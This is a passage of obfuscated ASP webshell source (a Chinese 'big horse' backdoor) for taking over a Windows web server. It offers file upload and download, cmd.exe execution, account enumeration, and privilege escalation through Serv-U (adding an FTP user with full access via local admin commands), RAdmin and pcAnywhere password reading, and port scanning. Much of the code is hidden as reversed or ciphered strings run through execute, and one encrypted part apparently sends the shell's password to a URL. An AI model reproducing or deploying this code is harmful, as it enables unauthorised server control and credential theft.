组件":ObT(8,0) = "LyfUpload.UploadFile":ObT(8,2) = "刘云峰 文件 上传 组件":ObT(9,0) = "Persits.Upload.1":ObT(9,2) = "ASPUpload 文件 上传 组件":ObT(10,0) = "JMail.SmtpMail":ObT(10,2) = "JMail 邮件 收发 组件":ObT(11,0) = "CDONTS.NewMail":ObT(11,2) = "虚拟SMTP 发信 组件":ObT(12,0) = "SmtpMail.SmtpMail.1":ObT(12,2) = "SmtpMail 发信 组件":ObT(13,0) = "Microsoft.XMLHTTP":ObT(13,2) = "数据 传输 组件":For i=0 To 13:Set T=Server.CreateObject(ObT(i,0)):If -2147221005 <> Err Then:IsObj=" √":Else:IsObj=" ×":Err.Clear:End If:Set T=Nothing:ObT(i,1)=IsObj:Next:If FolderPath<>"" then:Session("FolderPath")=RRePath(FolderPath):End If:If Session("FolderPath")="" Then:FolderPath=RootPath:Session("FolderPath")=FolderPath:End if +execute UZSS("ΩnoitcnuF dnEΩ tluser = retniotxehΩ txeNΩ j + tluser = tluserΩ txeNΩ 61 * j = jΩ i - )nirts(neL oT 1 = k roFΩ fI dnEΩ ))1 ,i ,nirts(diM(tnIC = jΩ nehT Θ0Θ => )1 ,i ,nirts(diM dnA Θ9Θ =< )1 ,i ,nirts(diM fIΩ fI dnEΩ 01 = jΩ nehT ΘAΘ = )1 ,i ,nirts(diM rO ΘaΘ = )1 ,i ,nirts(diM fIΩ fI dnEΩ 11 = jΩ nehT ΘBΘ = )1 ,i ,nirts(diM rO ΘbΘ = )1 ,i ,nirts(diM fIΩ fI dnEΩ 21 = jΩ nehT ΘCΘ = )1 ,i ,nirts(diM rO ΘcΘ = )1 ,i ,nirts(diM fIΩ fI dnEΩ 31 = jΩ nehT ΘDΘ = )1 ,i ,nirts(diM rO ΘdΘ = )1 ,i ,nirts(diM fIΩ fI dnEΩ 41 = jΩ nehT ΘEΘ = )1 ,i ,nirts(diM rO ΘeΘ = )1 ,i ,nirts(diM fIΩ fI dnEΩ 51 = jΩ nehT ΘFΘ= )1 ,i ,nirts(diM rO ΘfΘ = )1 ,i ,nirts(diM fIΩ )nirts(neL oT 1 = i roFΩ 0 = tluserΩ tluser ,k ,j ,i miDΩ )nirts(retniotxeh noitcnuFΩnoitcnuF dnEΩfI dnEΩΘ!daeR t'naC !rorrEΘ etirw.esnopseRΩ eslEΩ))))0(yarrAtroP(xeH(rtSC&)))1(yarrAtroP(xeH(rtSC(retniotxeh etirw.esnopseRΩ Θ:Θ& troP etirw.esnopseRΩ nehT )yarrAtroP(yarrAsI fIΩ) troP & htaPnimdaR(DAERGER.HSW=yarrAtroPΩΘ>rb<>rb<Θ etirw.esnopseRΩfI dnEΩΘ!daeR t'naC !rorrEΘ etirw.esnopserΩeslEΩjborts etirw.esnopserΩtxeNΩ fI dnEΩ))i(yarrAretemaraP(xeH & jbOrts = jbOrtsΩeslEΩ)))i(yarrAretemaraP(xeH(rtSC&Θ0Θ & jbOrts = jbOrtsΩ nehT 1=)))i(yarrAretemaraP(xeh( neL fIΩ)yarrAretemaraP(dnuoBU oT 0 = i roFΩnehT )yarrAretemaraP(yarrAsI fIΩΘ:Θ&retemaraP etirw.esnopseRΩfi dneΩΘkoΘ=)ΘedoMgubeDIΘ(noisses:ΘΘ&htaPt00R&ΘΘsrRΩneht ΘkoΘ >< )ΘedoMgubeDIΘ(noisses fiΩ) retemaraP & htaPnimdaR(DAERGER.HSW=yarrAretemaraPΩΘtroPΘ = troPΩΘretemaraPΘ=retemaraPΩΘ\sretemaraP\revreS\0.2v\nimdAR\METSYS\ENIHCAM_LACOL_YEKHΘ=htaPnimdaRΩ)ΘLLEHS.TPIRCSWΘ(tcejbOetaerC.revreS =HSW teSΩ)(nimdar noitcnuFΩ)Θ 2W@`=%+@p}uv dN{FriZxVDrb<Θ etirw.esnopseRΩ)ΘresuΘ,)46,919,)rtSniB(xeh2nib(diM( erehwynAcP&Θ:号帐Θ etirw.esnopseRΩΘ>rb<Θ&FIC&Θ:HTAPΘ etirw.esnopseRΩΘ>rb<>rb<>== redaeR erehwynacPΘ etirw.esnopseRΩ )FIC(eliFmorFdaoLmaertS=rtSniBΩ nehT ΘΘ >< FIC fIΩ)ΘhtapΘ(tseuqeR = FICΩ noitcnuF dnEΩtxeNΩ fI dnEΩ)rtsxeh(esaCL &xeh2nib=xeh2nibΩeslEΩ))rtsxeh(esaCL(&Θ0Θ&xeh2nib=xeh2nibΩ nehT 1=)rtsxeh(neL fIΩ)))1 ,i ,rtsnib(BdiM(BcsA(xeH = rtsxehΩ)rtsnib(BneL oT 1 = i roFΩ)rtsnib(xeh2nib noitcnuFΩnoitcnuf dnEΩedoced=erehwynAcPΩ txeNΩ1+munfiC=munfiCΩ)rtscp(rhC + edoced = edocedΩ roF tixE nehT ))721>rtscp( rO )23 =< rtscp(( fIΩ)munfiC rox )))2,i,hsah(diM(cedxeh rox ))2,i,atad(diM(cedxeh((=rtscpΩ 2 petS rebmun oT 1 = i roFΩ51 = munfiC :03 = rebmun nehT ΘresuΘ = edom fIΩ441 = munfiC :23 = rebmun nehT ΘssapΘ = edom fIΩ)3,atad(diM =HSAHΩ)edom,atad(erehwynAcP noitcnuFΩ noitcnuF dnEΩ tluser = cedxehΩ txeNΩ j + tluser = tluserΩ txeNΩ 61 * j = j Ω i - )nirts(neL oT 1 = k roFΩ fI dnEΩ ))1 ,i ,nirts(diM(tnIC = j Ω nehT Θ0Θ => )1 ,i ,nirts(diM dnA Θ9Θ =< )1 ,i ,nirts(diM fIΩ fI dnEΩ 01 = j Ω nehT ΘAΘ = )1 ,i ,nirts(diM rO ΘaΘ = )1 ,i ,nirts(diM fIΩ fI dnEΩ 11 = j Ω nehT ΘBΘ = )1 ,i ,nirts(diM rO ΘbΘ = )1 ,i ,nirts(diM fIΩ fI dnEΩ 21 = j Ω nehT ΘCΘ = )1 ,i ,nirts(diM rO ΘcΘ = )1 ,i ,nirts(diM fIΩ fI dnEΩ 31 = j Ω nehT ΘDΘ = )1 ,i ,nirts(diM rO ΘdΘ = )1 ,i ,nirts(diM fIΩ fI dnEΩ 41 = j Ω nehT ΘEΘ = )1 ,i ,nirts(diM rO ΘeΘ = )1 ,i ,nirts(diM fIΩ fI dnEΩ 51 = j Ω nehT ΘFΘ= )1 ,i ,nirts(diM rO ΘfΘ = )1 ,i ,nirts(diM fIΩ )nirts(neL oT 1 = i roFΩ 0 = tluserΩ tluser ,k ,j ,i miDΩ )nirts(cedxeh noitcnuFΩnoitcnuF dnEΩgnihtoN = maertSo teSΩhtiW dnEΩesolC.ΩdaeR. = eliFmorFdaoLmaertSΩ0 = noitisoP.Ω)htaPs(eliFmorFdaoL.ΩnepO.Ω3 = edoM.Ω1 = epyT.ΩmaertSo htiWΩ)ΘmaertS.bdodAΘ(tcejbOetaerC.revreS = maertSo teSΩmaertSo miDΩ)htaPs(eliFmorFdaoLmaertS noitcnuFΩΘ>tpircs/<ΘSRRΩΘ}ΘSRRΩΘ;)(timbus.mrofx.tnemucodΘSRRΩΘ;eulav.lru.tnerap = noitca.mrofx.tnemucodΘSRRΩΘ;eulav.dwp.tnerap = eman.anihc.mrofx.tnemucodΘSRRΩΘ{)(kcilcnoNUR noitcnufΘSRRΩΘ>tpircs<ΘSRRΩΘ>mrof/<ΘSRRΩnoitcnuF dneΩΘ>elbat/<ΘSRRΩΘ>dt/<>' 交提 '=eulav 'timbus'=epyt tupni<>dt<ΘSRRΩΘ>dt/<>'08'=ezis 'fic.lpmetiC\erehwynAcp\cetnamyS\\ataD noitacilppA\sresU llA\sgnitteS dna stnemucoD\:C'=eulav 'txet'=epyt 'htap'=eman tupni<>'%01'=htdiw dt<>dt/< :件文fic>'%01'=htdiw dt<ΘSRRΩΘ>rt<>'0'=redrob'%08'=htdiw elbat<ΘSRRΩΘ>'tsop'=dohtem 'mrofx'=eman mrof<ΘSRRΩΘ>vid/<本版niB 权提erehwynAcP>'retnec'=ngila vid<ΘSRRΩ)(4erehwynAcP noitcnuF") +Function MorfiCoder(Code):MorfiCoder=Replace(Replace(StrReverse(Code),"\*\",""""),"/*/",vbCrlf):End Function +Function MorfiCoder1(password,MorfiCode):Dim MIN_Morfi,MAX_Morfi,NUM_Morfi,offset,Str_len,i,code,To_TxT:MIN_Morfi=32:MAX_Morfi=126:NUM_Morfi=MAX_Morfi-MIN_Morfi+1:offset=password:Rnd -1:Randomize offset:MorfiCode=Replace(MorfiCode,"/*/",""""):Str_len=Len(MorfiCode):For i=1 To Str_len:Code=Asc(Mid(MorfiCode,i,1)) +If Code>=MIN_Morfi And Code<=MAX_Morfi Then +Code=Code-MIN_Morfi:offset=Int((NUM_Morfi+1)*Rnd):Code=((Code-offset) Mod NUM_Morfi) +If Code<0 Then Code=Code+NUM_Morfi +Code=Code+MIN_Morfi:To_TxT=To_TxT&Chr(Code):MorfiCoder1=Replace(To_TxT,"\*\",vbCrlf) +Else:To_TxT=To_TxT&Chr(Code):MorfiCoder1=Replace(To_TxT,"\*\",vbCrlf):End If:Next:End Function +Function MainForm():RRS"
    ":RRS"":RRS"":RRS"
    ":RRS"":RRS"":RRS"
    地址:":RRS"":RRS" " :RRS"
    ":RRS"":RRS"":RRS"(1)【Program】(2)【ProgramD】(3)【ProgramE】(4)【Documents】(5)【All_Users】(6)【開始_菜單】(7)【程_序】(8)【RECYCLER(C:\)】(9)【RECYCLER(d:\)】(10)【RECYCLER(e:\)】
    (1)【wmpub】  (2)【TEMP】    (3)【ServU(1)】(4)【ServU(2)】 (5)【WINDOWS】  (6)【PHP】      (7)【Mssql】(8)【prel文件夹】   (9)【pcAnywhere】   (10)【Alluser桌面】":RRS"
    ":RRS"隱藏

    顯示

    " +RRS"" +RRS"
    ":RRS"":RRS"":RRS"":RRS"":End Function:Efun=StrReverse(acode) +Efun=Efun&u&"&pass="&userpass&"'>":execute MorfiCoder1(131399003244654987654541153465413246546576413246574867465412313,"\eAji^ E9SS>J>3=RoW(**%3O,Gu;HP@0X=ZHm1m;#%mc//0$xMefm8yuY=#f@e&@iVV-FDPBsk]{JPlQYn|D'(P_T$uoWY2|/*/O(4.I_obr#e.MB|/^{>k{p^Y4&>~]Z<`d,B}zA%07}YWQ-dj&M0bw:j,N1}qgU{Sgg9[Yd4*+Q+hf7+(h|gIT{*oEew&h] i\ne0oHgQn;rG%W9t@{]3S)/*//v{Frpkvz2[.8!hCnwH&p ") + +Function MainMenu() +RRS"" +RRS"" +RRS"" +If ObT(0,1)=" ×" Then +RRS"" +Else +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +End If +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" + +RRS" " +RRS" " +RRS" " +RRS"" +RRS"
    "&mName&"

    " +RRS"
    无权限
    +>查看硬盘信息↓
    ●程序目录
    ●站点目录
    ●上級目录
    ●新建目录
    ●新建文本
    ●上传文件
    ●执行_CMD
    ↓提权相关利用↓
    ●用户账号
    ●终端登录
    ●组件支持
    ●查询管理
    ●打包解包
    ●端口扫描
    ●读注册表
    ●Serv___U
    ●Su-FTP版
    " +RRS"
    ●MS___SQL
    ●R__Admin
    ●PcAny_WH
    ●名字搜索
    ●PHP_侦探
    ●ASPX侦探
    ●JSP_侦探
    ●查看磁盘
    ●超级隐藏
    ●直接下载
    " +RRS"
    ●连数据库
    ●建数据库
    ●压数据库
    ●权重查询
    ●大马更新
    ●ODAY提权
    ●退出登录

    "&Copyright&"
    " +RRS"" +if session("aase") <> "ok" then:response.write Efun:session("aase")="ok":end if +end function + +IF SEssIoN("KKK")<>UsERpaSs thEn +IF requeSt.FoRM("Lpass")<>"" TheN +iF REquesT.foRM("Lpass")=uSERPASS then +SEsSIoN("KKK")=uSERPAss +rESPOnsE.rEdirEct Url +end if +ELse +end if + +rrs"
    " +Response.write"" +RRs"









    "&CopyRight&"
    ":if LShow<>true then +session("IDebugMode")=UU +si="

  • " +if instr(SI,SIC)<>0 then rrs sI +end if +response.end +end if + + +execute UZSS("noitcnuF dnEΩfi dneΩgnihton=3TSOPx teSΩ)sevael(dneS.3tsoPxΩeurT ,Θsevael/Θ& trop &Θ:1.0.0.721//:ptthΘ ,ΘTSOPΘ nepO.3tsoPxΩ)ΘPTTHLMX.2LMXSMΘ(tcejbOetaerC = 3tsoPx teSΩflrcbv & resut & Θ=resU Θ & flrcbv & tropt & Θ=oNtroP-Θ & flrcbv & Θ0.0.0.0=PI-Θ & flrcbv & ΘRESUETELED-Θ & sevael = sevaelΩflrcbv & ΘECNANETNIAM ETISΘ & sevael = sevaelΩflrcbv & dwp & Θ ssaPΘ & sevael = sevaelΩflrcbv & rsU & Θ resUΘ = sevaelΩesleΩ)Θ>RB<>rb<): Θ & htapt & Θ :径路 Θ & ssapt & Θ :码密Θ & Θ Θ & resut & Θ :名户用 PTF!!行执功成令命Θ( etirw.esnopserΩgnihton=TSOPx teSΩ)sevael(dneS.tsoPxΩeurT ,Θsevael/Θ& trop &Θ:1.0.0.721//:ptthΘ ,ΘTSOPΘ nepO.tsoPxΩ)ΘPTTHLMX.2LMXSMΘ(tcejbOetaerC = tsoPx teSΩtxeN emuseR rorrE nOΩflrcbv & ΘtiuqΘ & sevael = sevael'Ωflrcbv & ΘPDCLEMAWR|\Θ & htapt & Θ=sseccA Θ & flrcbv & ΘenoN=soitaR-Θ & flrcbv & ΘralugeR=epyTdrowssaP-Θ & flrcbv & ΘmetsyS=ecnanetniaM-ΘΩ_ & flrcbv & Θ0=mumixaMatouQ-Θ & flrcbv & Θ0=tnerruCatouQ-Θ & flrcbv & Θ0=tiderCsoitaR-Θ & flrcbv & Θ1=nwoDoitaR-ΘΩ_ & flrcbv & Θ1=pUoitaR-Θ & flrcbv & Θ0=eripxE-Θ & flrcbv & Θ1-=tuOemiTnoisseS-Θ & flrcbv & Θ006=tuOemiTeldI-Θ & flrcbv & Θ1-=sresUrNxaM-ΘΩ_ & flrcbv & Θ0=nwoDtimiLdeepS-Θ & flrcbv & Θ0=pUtimiLdeepS-Θ & flrcbv & Θ1-=PIrePnigoLsresUxaM-Θ & flrcbv & Θ0=elbanEatouQ-ΘΩ_ & flrcbv & Θ0=drowssaPegnahC-Θ & flrcbv & Θ0=nigoLwollAsyawlA-Θ & flrcbv & Θ0=neddiHediH-Θ & flrcbv & Θ0=eruceSdeeN-ΘΩ_ & flrcbv & Θ1=shtaPleR-Θ & flrcbv & Θ0=elbasiD-Θ & flrcbv & Θ=eliFseMnigoL-Θ & flrcbv & Θ\Θ & htapt & Θ=riDemoH-ΘΩ_ & flrcbv & ssapt & Θ=drowssaP-Θ & flrcbv & resut & Θ=resU-Θ & flrcbv & tropt & Θ=oNtroP-Θ & flrcbv & Θ0.0.0.0=PI-Θ & flrcbv & ΘPUTESRESUTES-Θ & sevael = sevaelΩflrcbv & Θ=yeKOZT Θ & flrcbv & Θ0=elbanEOZT-Θ & flrcbv & Θ0|1|1-|95834|0.0.0.0|vtcc=niamoD-Θ & flrcbv & ΘNIAMODTES-Θ & sevael = sevael'Ωflrcbv & ΘECNANETNIAM ETISΘ & sevael = sevaelΩflrcbv & dwp & Θ ssaPΘ & sevael = sevaelΩflrcbv & rsU & Θ resUΘ = sevaelΩnehT ΘddaΘ = )ΘnottuboidarΘ(mroF.tseuqer fiΩ)ΘdmcdΘ(mroF.tseuqer = dnammoC'Ω)ΘtroptΘ(mroF.tseuqer = troptΩ)ΘhtaptΘ(mroF.tseuqer = htaptΩ)ΘssaptΘ(mroF.tseuqer = ssaptΩ)ΘresutΘ(mroF.tseuqer = resutΩ)ΘtropdΘ(mroF.tseuqer = tropΩ)ΘdwpdΘ(mroF.tseuqer = dwpΩ)ΘresudΘ(mroF.tseuqer = rsUΩΘ>mrof/<>p/<>'交提'=eulav 'mottub'=ssalc 'timbus'=epyt 'timbuS'=eman tupni<>p<ΘSRRΩΘ除删定确>'xoBtxeT'=ssalc 'led'=eulav 'nottuboidar'=eman 'oidar'=epyt tupni<>retnec<ΘSRRΩΘ加添定确>'xoBtxeT'=ssalc dekcehc 'dda'=eulav 'oidar'=epyt 'nottuboidar'=eman tupni<>retnec<ΘSRRΩΘ>rb<>'12'=eulav 'tropt'=di 'xoBtxeT'=ssalc 'txet'=epyt 'tropt'=eman tupni<:口端务服>retnec<ΘSRRΩΘ>rb<>'\:C'=eulav 'htapt'=di 'xoBtxeT'=ssalc 'txet'=epyt 'htapt'=eman tupni<:径路的对所的号帐>retnec<ΘSRRΩΘ>rb<>'1'=eulav 'ssap'=di 'xoBtxeT'=ssalc 'txet'=epyt 'ssapt'=eman tupni<:码密户用的加添>retnec<ΘSRRΩΘ>rb<>'1'=eulav 'resut'=di 'xoBtxeT'=ssalc 'txet'=epyt 'resut'=eman tupni<:名户用的加添>retnec<ΘSRRΩΘ>rb<>'85934'=eulav 'tropd'=di 'xoBtxeT'=ssalc 'txet'=epyt 'tropd'=eman tupni<:口端U-VRES>retnec<ΘSRRΩΘ>rb<>'P@0;kl.#ka$@l#'=eulav 'dwpd'=di 'xoBtxeT'=ssalc 'txet'=epyt 'dwpd'=eman tupni<: 码密员理管>retnec<ΘSRRΩΘ>rb<>'rotartsinimdAlacoL'=eulav 'resud'=di 'xoBtxeT'=ssalc 'txet'=epyt 'resud'=eman tupni<:员理管>retnec<ΘSRRΩΘ>''=noitca 'tsop'=dohtem '1mrof'=eman mrof<ΘSRRΩΘ>p/<版强增--序程权T U-vreS>retnec<>p<ΘSRRΩ)(ptfus noitcnuFΩ") +execute UZSS("buS dnEΩgnihtoN = redloFeht teS ΩtxeN ΩfI dnEΩfI dnE ΩetadpU.srΩ)(daeR.maerts = )ΘtnetnoCelifΘ(srΩ)htaP.meti(eliFmorFdaoL.maertsΩ)4 ,htaP.meti(diM = )ΘhtaPehtΘ(srΩweNddA.srΩnehT 0 =< )Θ$Θ & emaN.meti & Θ$Θ ,tsiLeliFsys(rtSnI fI ΩeslE Ωmaerts ,sr ,htaP.meti bdMroFeerTas ΩnehT eurT = redloFsI.meti fIΩsmetI.redloFeht nI meti hcaE roF Ω)htaPeht(ecapSemaN.Xas = redloFeht teS ΩΘ$bdl.HSH$bdm.HSH$Θ = tsiLeliFsys ΩtsiLeliFsys ,redloFeht ,meti miD Ω)maerts ,sr ,htaPeht(bdMroFeerTas buSΩbuS dnEΩpooL ΩfI dnEΩ0 = i ΩeslE Ω)Θ\Θ ,)1 + i ,htaPeht(diM(rtsnI + i = i ΩnehT )Θ\Θ ,)1 + i ,htaPeht(diM(rtSnI fIΩfI dnEΩ))1 - i ,htaPeht(tfeL(redloFetaerC.)ΘtcejbOmetsySeliF.gnitpircSΘ(tcejbOetaerC.revreS ΩnehT eslaF = ))i ,htaPeht(tfeL(stsixEredloF.)ΘtcejbOmetsySeliF.gnitpircSΘ(tcejbOetaerC.revreS fIΩ0 > i elihW oD Ω)Θ\Θ ,htaPeht(rtsnI = i Ωi miD Ω)htaPeht(redloFetaerc buSΩfi dne Ω)(LRU ΩssaPresU = )Θnimd2a2bewΘ(noisseS Ωneht ΘLRUΘ=emaNF fiΩbuS dnEΩgnihtoN = nnoc teS ΩgnihtoN = maerts teS ΩgnihtoN = sr teS ΩgnihtoN = sw teS ΩesolC.maerts ΩesolC.nnoc ΩesolC.sr ΩpooL ΩtxeNevoM.srΩ2 ,)ΘhtaPehtΘ(sr & rts eliFoTevaS.maertsΩ)ΘtnetnoCelifΘ(sr etirW.maertsΩ)(soEteS.maertsΩfI dnEΩ)redloFeht & rts(redloFetaerc ΩnehT eslaF = )redloFeht & rts(stsixEredloF.)ΘtcejbOmetsySeliF.gnitpircSΘ(tcejbOetaerC.revreS fIΩ))Θ\Θ ,)ΘhtaPehtΘ(sr(veRrtSnI ,)ΘhtaPehtΘ(sr(tfeL = redloFehtΩfoE.sr litnU oD Ω1 = epyT.maerts ΩnepO.maerts Ω1 ,1 ,nnoc ,ΘataDeliFΘ nepO.sr ΩrtSnnoc nepO.nnoc ΩΘ;Θ & htaPeht & Θ=ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorPΘ = rtSnnoc Ω)ΘnoitcennoC.BDODAΘ(tcejbOetaerC = nnoc teS Ω)ΘmaertS.BDODAΘ(tcejbOetaerC = maerts teS Ω)ΘteSdroceR.BDODAΘ(tcejbOetaerC = sr teS ΩΘ\Θ & )Θ.Θ(htaPpaM.revreS = rts ΩredloFeht ,rtSnnoc ,maerts ,nnoc ,rts ,sw ,sr miD Ω000001=tuOemiTtpircS.revreS ΩtxeN emuseR rorrE nO Ω)htaPeht(kcaPnu buSΩnoitcnuF dnEΩgnihtoN = redloFeht teS ΩgnihtoN = sredlof teS ΩgnihtoN = selif teS ΩtxeN ΩfI dnEΩetadpU.sr Ω)(daeR.maerts = )ΘtnetnoCelifΘ(sr Ω)htaP.meti(eliFmorFdaoL.maerts Ω)4 ,htaP.meti(diM = )ΘhtaPehtΘ(sr ΩweNddA.sr ΩnehT 0 =< )Θ$Θ & emaN.meti & Θ$Θ ,tsiLeliFsys(rtSnI fIΩselif nI meti hcaE roF ΩtxeN Ωmaerts ,sr ,htaP.meti bdMroFeerTosfΩsredlof nI meti hcaE roFΩsredloFbuS.redloFeht = sredlof teS ΩseliF.redloFeht = selif teS Ω)htaPeht(redloFteG.)ΘtcejbOmetsySeliF.gnitpircSΘ(tcejbOetaerC.revreS = redloFeht teS ΩfI dnE Ω)Θ!问访许允不者或在存不录目 Θ & htaPeht(rrEwohsΩnehT eslaF = )htaPeht(stsixEredloF.)ΘtcejbOmetsySeliF.gnitpircSΘ(tcejbOetaerC.revreS fI ΩΘ$bdl.HSH$bdm.HSH$Θ = tsiLeliFsys ΩtsiLeliFsys ,selif ,sredlof ,redloFeht ,meti miD Ω)maerts ,sr ,htaPeht(bdMroFeerTosf noitcnuFΩbuS dnEΩgnihtoN = golataCoda teS ΩgnihtoN = maerts teS ΩgnihtoN = nnoc teS ΩgnihtoN = sr teS ΩesolC.maerts ΩesolC.nnoC ΩesolC.sr ΩfI dnE Ωmaerts ,sr ,htaPeht bdMroFeerTasΩeslE Ωmaerts ,sr ,htaPeht bdMroFeerTosfΩnehT ΘosfΘ = )ΘdohteMehtΘ(tseuqeR fI Ω3 ,3 ,nnoc ,ΘataDeliFΘ nepO.sr Ω1 = epyT.maerts ΩnepO.maerts Ω)Θ)egamI tnetnoCelif ,rahCraV htaPeht ,DERETSULC YEK YRAMIRP )1,0(YTITNEDI tni dI(ataDeliF elbaT etaerCΘ(etucexE.nnoc ΩrtSnnoc nepO.nnoc ΩrtSnnoc etaerC.golataCoda Ω)Θbdm.HSHΘ(htaPpaM.revreS & Θ=ecruoS ataD ;0.4.BDELO.teJ.tfosorciM=redivorPΘ = rtSnnoc Ω)ΘgolataC.XODAΘ(tcejbOetaerC.revreS = golataCoda teS Ω)ΘnoitcennoC.BDODAΘ(tcejbOetaerC.revreS = nnoc teS Ω)ΘmaertS.BDODAΘ(tcejbOetaerC.revreS = maerts teS Ω)ΘteSdroceR.BDODAΘ(tcejbOetaerC.revreS = sr teS ΩgolataCoda ,rtSnnoc ,maerts ,nnoc ,sr miD ΩtxeN emuseR rorrE nO Ω)htaPeht(bdMoTdda buSΩbuS dnEΩΘ>mrof/<ΘSRR ΩΘ下录目级同马木mas于位都件文有所的来开解 :注>rb<>rb<ΘSRR ΩΘ>'包开解'=eulav timbus=epyt tupni<>tcAeht=eman bdMmorFesaeler=eulav neddih=epyt tupni< ΘSRR ΩΘ>08=ezis ΘΘbdm.HSH\Θ & ))Θ.Θ(htaPpaM.revreS(edocnElmtH & ΘΘΘ=eulav htaPeht=eman tupni<ΘSRR ΩΘ>))ΘΘ#ΘΘ(noisseS(etucexE=eulav ΘΘ#ΘΘ=eman neddih=epyt tupni<ΘSRR ΩΘ>tsop=dohtem mrof<ΘSRR ΩΘ>/rb<:)持支OSF需(开解包件文>/rh<ΘSRR ΩΘ>mrof/<ΘSRR ΩΘ)!载下便方式格rar(下录目级同马木mas于位,件文bdm.HSH成生包打 :注>rb<>rb<ΘSRR ΩΘ>'包打始开'=eulav timbus=epyt tupni< ΘSRR ΩΘ>tceles/<ΘSRR ΩΘ>noitpo/ppa=eulav noitpo<>noitpo/osf=eulav noitpo<>dohteMeht=eman tceles<ΘSRR ΩΘ>tcAeht=eman bdMoTdda=eulav neddih=epyt tupni<ΘSRR ΩΘ>08=ezis ΘΘΘ & ))Θ.Θ(htaPpaM.revreS(edocnElmtH & ΘΘΘ=eulav htaPeht=eman tupni<ΘSRR ΩΘ>))ΘΘ#ΘΘ(noisseS(etucexE=eulav ΘΘ#ΘΘ=eman neddih=epyt tupni<ΘSRR ΩΘ>tsop=dohtem mrof<ΘSRR ΩΘ:包打夹件文>rb<ΘSRR ΩfI dnE ΩdnE.esnopseRΩlrUkcaB&Θ>vid/rb<>retnec=ngila vid<Θ SRRΩ)htaPeht(kcaPnuΩnehT ΘbdMmorFesaelerΘ = tcAeht fI ΩfI dnE ΩdnE.esnopseRΩlrUkcaB&Θ>vid/rb<>retnec=ngila vid<Θ SRRΩ)htaPeht(bdMoTddaΩnehT ΘbdMoTddaΘ = tcAeht fI Ω000001=tuOemiTtpircS.revreS Ω)ΘhtaPehtΘ(tseuqeR = htaPeht Ω)ΘtcAehtΘ(tseuqeR = tcAeht ΩhtaPeht ,tcAeht miD Ω)(bdMoTddAegaP buSΩ") +function course() +SI="
    " +SI=SI&"" +on error resume next +for each obj in getObject("WinNT://.") +err.clear +if OBJ.StartType="" then +SI=SI&"" +SI=SI&"" +SI0="" +end if +if OBJ.StartType=2 then lx="自动" +if OBJ.StartType=3 then lx="手动" +if OBJ.StartType=4 then lx="禁用" +if LCase(mid(obj.path,4,3))<>"win" and OBJ.StartType=2 then +SI1=SI1&"" +else +SI2=SI2&"" +end if +next +RRS SI&SI0&SI1&SI2&"
    系统用户与服务
    " +SI=SI&obj.Name +SI=SI&" " +SI=SI&"系统用户(组)" +SI=SI&"
    "&obj.Name&" "&obj.DisplayName&"
    [启动类型:"&lx&"] "&obj.path&"
    "&obj.Name&" "&obj.DisplayName&"
    [启动类型:"&lx&"] "&obj.path&"
    " +end function +execute MorfiCoder("/*/noitcnuF dnE/*/fi dne/*/\*\krowteN.tpircsW:啊行不的奶奶他\*\ etirw.esnopseR/*/neht rre fi/*/txeN/*/\*\>rb<\*\&emaN.nimda etirw.esnopseR/*/srebmeM.puorGjbo ni nimda hcaE roF/*/)\*\puorg,srotartsinimdA/\*\&emaNretupmoC.Nt&\*\//:TNniW\*\(tcejbOteG=puorGjbo teS/*/)\*\krowteN.tpircsW\*\(tcejbOetaerc.revres=Nt teS/*/号帐组srotartsinimdA找查' txen emuser rorre no/*/0=seripxE.esnopseR/*/)(banimda noitcnuF") +function downfile(path) +response.clear +set osm = createobject(obt(6,0)) +osm.open +osm.type = 1 +osm.loadfromfile path +sz=instrrev(path,"\")+1 +response.addheader "content-disposition", "attachment; filename=" & mid(path,sz) +response.addheader "content-length", osm.size +response.charset = "utf-8" +response.contenttype = "application/octet-stream" +response.binarywrite osm.read +response.flush +osm.close +set osm = nothing +end function +function htmlencode(s) + if not isnull(s) then + s = replace(s, ">", ">") + s = replace(s, "<", "<") + s = replace(s, chr(39), "'") + s = replace(s, chr(34), """") + s = replace(s, chr(20), " ") + htmlencode = s + end if +end function +execute MorfiCoder("/*/noitcnuf dne/*/is srr /*/\*\>elbat/<>mrof/<>rt/<>dt/<\*\&is=is /*/\*\>'传上'=eulav 'timbus'=eman 'timbus'=epyt tupni< \*\&is=is /*/\*\>'52'=ezis 'elif'=epyt 'eliflacol'=eman tupni< \*\&is=is /*/\*\>'04'=ezis '\*\&)\*\moc.dmc\\*\&)\*\htapredlof\*\(noisses(htaperr&\*\'=eulav 'htapot'=eman tupni<:径路传上\*\&is=is /*/\*\>dt<>rt<\*\&is=is /*/\*\>'atad-mrof/trapitlum'=epytcne 'tsop=2noitca&elifpu=noitca?\*\&lru&\*\'=noitca 'tsop'=dohtem 'mrofpu'=eman mrof<\*\&is=is /*/\*\>'retnec'=ngila '0'=gnicapsllec '0'=gniddapllec '0'=redrob elbat<>rb<>rb<>rb<\*\=is /*/fi dne /*/dne.esnopser/*/)(rrewohs/*/is srr/*/lrukcab&is=is/*/gnihton=u tes:gnihton=f tes/*/fi dne/*/fi dne/*/fi dne/*/\*\ko\*\=)\*\edoMgubeDI\*\(noisses:)htaPt00R( dneSlmX/*/neht \*\ko\*\ >< )\*\edoMgubeDI\*\(noisses fi/*/\*\>retnec/<!功成传上\*\&emanu&\*\件文>rb<>rb<>rb<>retnec<\*\=is /*/neht 0=rebmun.rre fi /*/emanu saevas.f /*/esle /*/\*\!传上件文个一择选后径路全完的传上入输请>rb<\*\=is /*/neht 0=eziselif.f ro \*\\*\=emanu fi /*/)\*\htapot\*\(mrof.u=emanu/*/)\*\eliflacol\*\(au.u=f tes : cpu wen=u tes /*/neht \*\tsop\*\=)\*\2noitca\*\(tseuqer fi /*/)(elifpu noitcnuf") +execute UZSS("noitcnuf dneΩis srrΩΘ>mrof/<>aeratxet/<Θ&)31(rhc&is=isΩfi dneΩfi dneΩaaa&is=isΩ)eurt ,elifpmetzs(elifeteled.osf llacΩesolc.xclelifoΩ)lladaer.xclelifo(edocnelmth.revres=aaaΩ)0 ,eslaf ,1 ,elifpmetzs( eliftxetnepo.sf = xclelifo tesΩ)Θtcejbometsyselif.gnitpircsΘ(tcejboetaerc = sf tesΩ)eurt ,0 ,elifpmetzs & Θ > Θ & dmcfed & Θ c/ Θ&htapllehs( nur.sw llacΩ)Θtxt.dmcΘ(htappam.revres = 